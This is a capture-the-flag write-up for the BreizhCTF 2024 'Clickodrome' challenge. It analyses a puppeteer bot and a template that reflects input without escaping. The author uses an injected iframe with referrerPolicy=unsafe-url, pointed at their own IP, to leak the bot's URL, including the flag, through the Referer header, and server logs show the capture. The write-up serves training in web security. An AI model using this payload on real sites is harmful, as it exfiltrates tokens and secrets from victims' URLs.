Write up of BreizhCTF 2024 Clickodrome
Author : Worty
Source code analysis
The challmaker gave us access to the app source code, so let’s dig into it !
First, we notice the bot.js
, which tells us that it might be a client side challenge. As we can see in this code snipet, a puppeter is started to render a page and click on a DOM element that has the selector #delete
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
const browser = await puppeteer.launch({
headless: "new",
ignoreHTTPSErrors: true,
executablePath: "/usr/bin/chromium",
args: [
"--no-sandbox",
"--ignore-certificate-errors"
],
});
const page = await browser.newPage();
await page.waitForFrame;
try {
await page.setJavaScriptEnabled(false); // On m'a toujours dit de ne jamais faire confiance aux utilisateurs
await page.goto(`http://localhost:${port}/reports?ref=${encodeURIComponent(reference)}&reason=${encodeURIComponent(reason)}&flag=${encodeURIComponent(FLAG)}`);
await page.waitForSelector("#delete");
await page.click('#delete');
// TODO: intégrer une IA pour déterminer si oui ou non il faut supprimer
} catch (err) {
console.log(`[BOT - ERROR] ${err}`)
ret = false;
}
|
As we can see, the flag is a parameter of the url, so we need to extract it. But we can also see that javascript is disabled with page.setJavaScriptEnabled(false);
. So goodbye the window.location.search
and other javascript beauties, we are gonna do that with plain HTML.
Now we have to locate a spot where inject some html code to do that. We have control on the ref and reason param, ref is filtered with a list of possible value, so we only have reason left.
We we take a look at the views/report.ejs
, we can see that the reason param is directly reflected into the page, so we have our code injection !!
1
2
3
4
5
6
7
8
9
10
11
12
|
<html>
<head></head>
<body>
Un utilisateur a rapporté l'offre <%- data.ref %> pour la raison suivante :
<%- data.reason %> <- Code injection here !
Si vous souhaitez bannir cette offre, <a id="delete" href="#delete">cliquez ici</a>, sinon, fermez cette page.
Clickodrome administration.
</body>
</html>
|
Exploit Time !
Now let’s summarize, we have an html injection, no javascript available, and a flag into the url. We have to find a way to extract the browser url and send it to a server with only plain html. It seems impossible, but not with our favorite html tag :<iframe>
.
But before crafting our payload, let’s talk about the HTTP header “Referer”.
It’s a HTTP header that contains the previous location from where a link as been clicked to get to the current page. So what happen if we create an iframe with our ip adress as src, like this :
1
2
|
<iframe src="//10.50.150.4:30000">
</iframe>
|
We only receive the host, and not the full url as we can see here:
1
2
3
4
5
6
7
8
9
10
|
ERROR:root:Host: 172.17.0.1:30000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:3000/ <- Here
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
172.17.0.2 - - [18/May/2024 15:49:50] "GET / HTTP/1.1" 200 -
|
So have to find a way to send the full url in the referer header.
RTFM
Lets jump into the iframe documentation. We reach the referrerPolicy
section, and we see an intresting value: unsafe-url
, it sends a full URL when performing a same-origin or cross-origin request. Perfect ! That what we needed !
We add this to our payload :
1
2
|
<iframe referrerPolicy=unsafe-url src="//10.50.150.4:30000">
</iframe>
|
And BOOM, the flag !
1
2
3
4
5
6
7
8
9
10
|
ERROR:root:Host: 172.17.0.1:30000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://localhost:3000/reports?ref=[...]&flag=BZHCTF%7Bfake_flag%7D
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
172.17.0.2 - - [18/May/2024 16:03:25] "GET / HTTP/1.1" 200 -
|
Thanks to the challmaker for this really fun challenge